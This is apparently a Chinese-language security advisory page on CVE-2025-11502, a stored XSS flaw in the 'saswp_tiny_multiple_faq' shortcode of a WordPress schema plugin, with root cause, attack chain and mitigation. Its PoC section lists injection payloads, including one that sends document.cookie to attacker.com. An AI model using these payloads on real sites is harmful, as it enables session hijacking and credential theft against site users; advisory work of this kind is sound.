IPBUF安全漏洞报告
English
CVE-2025-11502 CVSS 6.4 中危

CVE-2025-11502 | Schema插件存储型XSS漏洞

披露日期: 2025-11-01

漏洞信息

漏洞编号
CVE-2025-11502
漏洞类型
存储型跨站脚本攻击(XSS)
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Schema & Structured Data for WP & AMP plugin for WordPress

相关标签

CVE-2025-11502存储型XSSWordPress插件漏洞短代码注入Schema插件Cross-Site ScriptingAuthenticated XSSMEDIUM

漏洞概述

CVE-2025-11502是WordPress插件Schema & Structured Data for WP & AMP中的一个存储型跨站脚本(XSS)漏洞。该漏洞存在于插件的'saswp_tiny_multiple_faq'短代码功能中,由于对用户提供的属性值缺乏充分的输入清理和输出转义,导致恶意脚本可以被注入到页面中并永久存储。攻击者利用此漏洞需要具备WordPress contributor级别或更高的账户权限,成功利用后可在注入的页面中执行任意JavaScript代码。当其他用户访问包含恶意内容的页面时,注入的脚本会自动执行,可能导致会话劫持、敏感信息窃取、钓鱼攻击等严重后果。此漏洞CVSS评分为6.4(中危),影响插件1.51及之前所有版本。

技术细节

该漏洞的根本原因在于插件在处理短代码属性时未对用户输入进行适当的安全过滤。具体来说,'saswp_tiny_multiple_faq'短代码在注册和使用过程中,直接将用户提供的属性值渲染到HTML输出中,而没有进行必要的HTML实体编码或输入验证。攻击者可以通过在短代码属性中注入恶意JavaScript代码,如<script>alert('XSS')</script>或通过事件处理器如onmouseover、onclick等触发脚本执行。由于这些恶意内容被存储在数据库中(存储型XSS),每次页面加载时都会执行,形成持久性攻击。WordPress的contributor角色虽然无法直接发布文章,但可以创建和编辑草稿,攻击者可以利用这一权限在页面中嵌入恶意短代码,等待管理员审核发布后触发攻击。

攻击链分析

STEP 1
1
攻击者获取WordPress contributor级别账户权限
STEP 2
2
攻击者在文章或页面中插入包含恶意代码的saswp_tiny_multiple_faq短代码
STEP 3
3
恶意短代码被保存到数据库中(存储型XSS)
STEP 4
4
管理员或普通用户访问包含恶意内容的页面
STEP 5
5
浏览器解析HTML时执行注入的JavaScript代码
STEP 6
6
攻击者通过JavaScript窃取Cookie、会话令牌或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-11502 PoC - Stored XSS via saswp_tiny_multiple_faq shortcode // Required: Contributor-level access or higher on WordPress // Method 1: Basic script injection [saswp_tiny_multiple_faq question='<script>alert(document.cookie)</script>' answer='malicious'] // Method 2: Event handler injection (more stealthy) [saswp_tiny_multiple_faq question='<img src=x onerror=alert(document.domain)>' answer='data'] [saswp_tiny_multiple_faq question='<svg onload=fetch("https://attacker.com/steal?c="+document.cookie)>' answer='content'] // Method 3: Using shortcode attributes with quotes bypass [saswp_tiny_multiple_faq question='" onmouseover="alert(1)" data-x="' answer='test']

影响范围

Schema & Structured Data for WP & AMP plugin <= 1.51 (all versions up to and including 1.51)

防御指南

临时缓解措施
如果无法立即升级插件,可临时禁用或删除saswp_tiny_multiple_faq短代码功能,同时加强对WordPress用户权限的管理,限制contributor角色的内容创建和编辑能力,并使用WordPress安全插件监控异常活动。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表